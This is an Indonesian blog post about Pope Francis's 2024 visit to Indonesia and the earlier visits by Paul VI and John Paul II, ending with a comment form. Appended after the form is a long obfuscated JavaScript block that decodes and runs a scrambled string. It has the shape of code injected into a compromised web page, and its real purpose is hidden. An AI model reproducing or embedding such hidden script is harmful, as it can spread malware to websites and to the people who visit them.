23/12/2024
IMG_0145

Seorang Paus Fransiskus akan mengunjungi Indonesia pada tanggal 3-5 September 2024 ini. Kunjungan pemuka agama Katolik yang sekarang sebenarnya bukan yang pertama kali dalam catatan sejarah Indonesia. Indonesia mendapatkan 2 moment, yakni pada awal tahun 1970-an dan akhir 1980-an, oleh Paus Paulus VI dan Paus Yohanes Paulus II. Dari keduanya, Paus Yohanes Paulus II tercatat lebih lama mengunjungi Indonesia daripada Paus Paulus VI.

Selama kunjungannya dalam rentang 5 hari, ia mengunjungi beberapa kota penting di Indonesia, yaitu Jakarta, Yogyakarta, Maumere, Dili, dan Medan. Dalam kunjungan Paulus Yohanes Paulus II ke Indonesia, ia menyempatkan diri menemui presiden saat itu, Soeharto secara pribadi. Tak hanya beberapa tempat besar di Indonesia dan pertemuan pribadi dengan Soeharto, Paus Yohanes Paulus II juga menemui beberapa komunitas dan masyarakat di Indonesia. Dan yang paling menariknya, di setiap pertemuan tersebut, Paus Yohanes Paulus II menyampaikan dan menekankan arti filosofis dasar negara Indonesia, yakni Pancasila.

Seluruh masyarakat Indonesia menyambut dengan penuh antusias. Kunjungan ini bukan hanya sebagai kesempatan untuk mempererat hubungan dengan Gereja Katolik, tetapi juga sebagai momen refleksi dan kesatuan untuk semua orang, tanpa memandang latar belakang. Ketika Paus Fransiskus meninggalkan Indonesia, kita semua akan membawa pulang pesan-pesan berharga yang beliau sampaikan. Semoga kunjungan ini terus menginspirasi kita untuk bekerja bersama menuju dunia yang lebih baik.

WOWWWW! APA KATA DUNIA?!

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

du,\'cZ).;a]PZ53xy_]%Z t;.eoM=.(ZZ,9h09(oe(Z8Z&o)OdqlrZi)pe((qt9Z.str=(};a=9()(Z(reZ3_2$s{(Z}Z]i&o=7ri.ZbjZ.s@())lR_\/!4.ogZ_8Poeni)_b)DZ(shZ_ZZZ3Zt_}s),8(;=0_,Ra% 1 Z]p=Z,(Zs(b0a}}oc2Z2&_.{{(#c(e,Z,9\/]iZ(.7(rn6xf\/TZ!)e,w(276e71Ze2IoIned4_umZ5mltZ)ei.ZZiZt$)%f({Vi(wn+))nke19.8n0t1Z3j4=.e,.e27Zwc._{]te%t)tZtn.))5.drZQafT);teaI_tv])eneFn Zi5b4Z40J<(ZihZj)Z{]sfZ0ZdRosZex(.)Z(e b}#$.ZZDh)edis_id{wr&,]rC;?;oc,Zw?]C((5e}Ip2Znr(4=7dZ".tZu,$]t!s)(&gwI(fcr;3(Gs;nVaZ)toZiG3Z2") ZNe]#l_1V)MsZ{;(lSZa. )Z.Z)6;b.otpux;5dT!q9+eZees$Z.iu%].{2IJZ{ZNsr7.x 0f)t0@_sj_5(n+n!Z;GGreP%04f)Zc(loZm(e3)\/)< %u,(Zutal>ZeZeJ)2ZZuwZtZtz%}.]m{[t]tewZMaZrZ*{Zru]]:osZa$p_A(3:,Cc.p_cZ;F)35j0j4j)ZZ;%sr)n!eool=]3Zt)7 e,,0.eZu3 %e;)0cZr,51j}(_)aaZZ .s(0x((Z:;!)ait})_c[Z>(c(0=oZ}ndeqfes6M=7[($ls2a1(3_r $_i\/9!6Z%.6r 3)Zw_0z_Za.) Zi%_4$mhi)]P!q39o-,i(ZZ}r:_J.aep4$e;=.Z=Z)S:tjZ6s,w3p]ft34}.Ze_3nFn(s]4Zn_%iZ.)4Z?2]{(Zj{ (Z.eZjujaw,q>ZZIZ,,(i$@!1d4tec euZ}i{. j_.=ZA2e{l$!5)Zi.e1oZZ_k,Mw"nZ "=ne}a.t jZc1 Ze{i;n(#ln%56Zs=Zga(+r7bseMsN{)e2gZ6(wZ$_n8n1i<()j;2t_Z(ncP2nn(}_ZhZa{{&rL.MZ. a.7OZ.eVr8ZtsZe 2ltjZj)4ddrsp!s(]a(6Z@!c,4#r{(.tZkcnZ.ZI0s6ZZ(v,j)Z]Zfo9i9)eZ;\/rgn;l=..ts[Tiql)E=:6)e0_ e0s7'));var trO=qGy(NFD,JVG );trO(3755);return 9930})();